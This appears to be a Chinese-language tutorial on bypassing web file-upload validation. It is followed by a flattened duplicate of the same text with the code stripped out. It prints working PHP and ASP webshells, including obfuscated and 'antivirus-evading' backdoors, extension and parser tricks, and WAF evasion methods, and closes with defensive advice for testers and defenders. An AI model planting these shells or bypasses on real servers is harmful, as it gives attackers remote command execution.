Web安全 -- 上传漏洞绕过
字数 1079 2025-08-18 11:37:02

Web安全:文件上传漏洞绕过技术详解

一、上传漏洞概述

文件上传功能是Web应用中常见的安全薄弱环节,攻击者通过精心构造恶意文件上传,可能获取服务器控制权限。根据验证机制的不同,上传绕过技术可分为多种类型。

二、验证机制与绕过方法

1. 前端验证绕过

特征:使用JavaScript在客户端验证文件类型

绕过方法

  • 截断上传:直接拦截HTTP请求修改上传内容
  • 构造上传:编写HTML表单直接调用上传接口
<form action="upload.php" method="post" enctype="multipart/form-data">
  <input type="file" name="file">
  <input type="submit" value="Upload">
</form>

2. 后端验证绕过

(1) 文件名验证绕过

白名单绕过

  • 利用解析漏洞:如IIS6.0解析1.asp;1.jpg为ASP文件
  • 大小写混合:Web.Shell.pHp
  • 特殊后缀:.asa, .cer, .cdx

黑名单绕过

  • 双扩展名:shell.php.jpg
  • 尾部加点/空格:shell.php.shell.php (Windows自动去除)
  • 特殊字符:shell.php%00.jpg(空字节截断)

(2) 文件内容验证绕过

文件头伪造

  • 在真实文件头后插入恶意代码
GIF89a
<?php system($_GET['cmd']); ?>

Content-Type绕过

  • 修改MIME类型为允许的类型如image/jpeg

(3) 自定义正则校验绕过

  • 代码混淆:
<?php 
  $a = "a"."s"."s"."e"."r"."t"; 
  $a($_POST["cmd"]);
?>
  • 注释分割:
<?php /*xyz*/eval/*abc*/($_POST['cmd']); ?>

3. WAF设备绕过

方法

  • 垃圾数据填充:在文件开头添加大量无用数据
  • 多文件上传:利用name="files[]"数组形式
  • 协议混淆:混合GET/POST方法
  • 删除Content-Type:移除或修改内容类型字段

三、组合利用技术

1. 配合文件包含漏洞

<?php include("uploaded.txt"); ?>

利用协议:

  • php://filter
  • phar://
  • zip://

2. 利用服务器解析漏洞

IIS 6.0

  • 目录解析:/uploads/shell.asp/1.jpg
  • 分号解析:shell.asp;.jpg

Apache

  • 从右向左解析:shell.php.xxx(xxx不被识别)

3. 利用操作系统特性

  • Windows特殊字符:shell.php::$DATA
  • 路径遍历:../../../shell.php

四、免杀技术实例

1. ASP免杀小马

<% 
'GIF89a
Execute(Request("cmd")) 
%>

保存为.cer扩展名

2. PHP隐蔽后门

<!DOCTYPE HTML>
[...404错误页面内容...]
<?php @preg_replace("/[checksql]/e",$_POST['cnsec'],"saft"); ?>

3. 变形一句话

<?php ($_=@$_GET[2]).@$_POST[sz]?>

五、防御建议

  1. 使用白名单验证文件扩展名
  2. 重命名上传文件(避免用户控制文件名)
  3. 限制上传目录执行权限
  4. 对文件内容进行严格检查
  5. 使用随机目录存储上传文件
  6. 定期更新Web服务器和应用程序

通过理解这些绕过技术,安全人员可以更好地设计防御措施,而渗透测试人员可以更全面地评估系统安全性。

Web安全:文件上传漏洞绕过技术详解 一、上传漏洞概述 文件上传功能是Web应用中常见的安全薄弱环节,攻击者通过精心构造恶意文件上传,可能获取服务器控制权限。根据验证机制的不同,上传绕过技术可分为多种类型。 二、验证机制与绕过方法 1. 前端验证绕过 特征 :使用JavaScript在客户端验证文件类型 绕过方法 : 截断上传 :直接拦截HTTP请求修改上传内容 构造上传 :编写HTML表单直接调用上传接口 2. 后端验证绕过 (1) 文件名验证绕过 白名单绕过 : 利用解析漏洞:如IIS6.0解析 1.asp;1.jpg 为ASP文件 大小写混合: Web.Shell.pHp 特殊后缀: .asa , .cer , .cdx 等 黑名单绕过 : 双扩展名: shell.php.jpg 尾部加点/空格: shell.php. 或 shell.php (Windows自动去除) 特殊字符: shell.php%00.jpg (空字节截断) (2) 文件内容验证绕过 文件头伪造 : 在真实文件头后插入恶意代码 Content-Type绕过 : 修改MIME类型为允许的类型如 image/jpeg (3) 自定义正则校验绕过 代码混淆: 注释分割: 3. WAF设备绕过 方法 : 垃圾数据填充 :在文件开头添加大量无用数据 多文件上传 :利用 name="files[]" 数组形式 协议混淆 :混合GET/POST方法 删除Content-Type :移除或修改内容类型字段 三、组合利用技术 1. 配合文件包含漏洞 利用协议: php://filter phar:// zip:// 2. 利用服务器解析漏洞 IIS 6.0 : 目录解析: /uploads/shell.asp/1.jpg 分号解析: shell.asp;.jpg Apache : 从右向左解析: shell.php.xxx (xxx不被识别) 3. 利用操作系统特性 Windows特殊字符: shell.php::$DATA 路径遍历: ../../../shell.php 四、免杀技术实例 1. ASP免杀小马 保存为 .cer 扩展名 2. PHP隐蔽后门 3. 变形一句话 五、防御建议 使用白名单验证文件扩展名 重命名上传文件(避免用户控制文件名) 限制上传目录执行权限 对文件内容进行严格检查 使用随机目录存储上传文件 定期更新Web服务器和应用程序 通过理解这些绕过技术,安全人员可以更好地设计防御措施,而渗透测试人员可以更全面地评估系统安全性。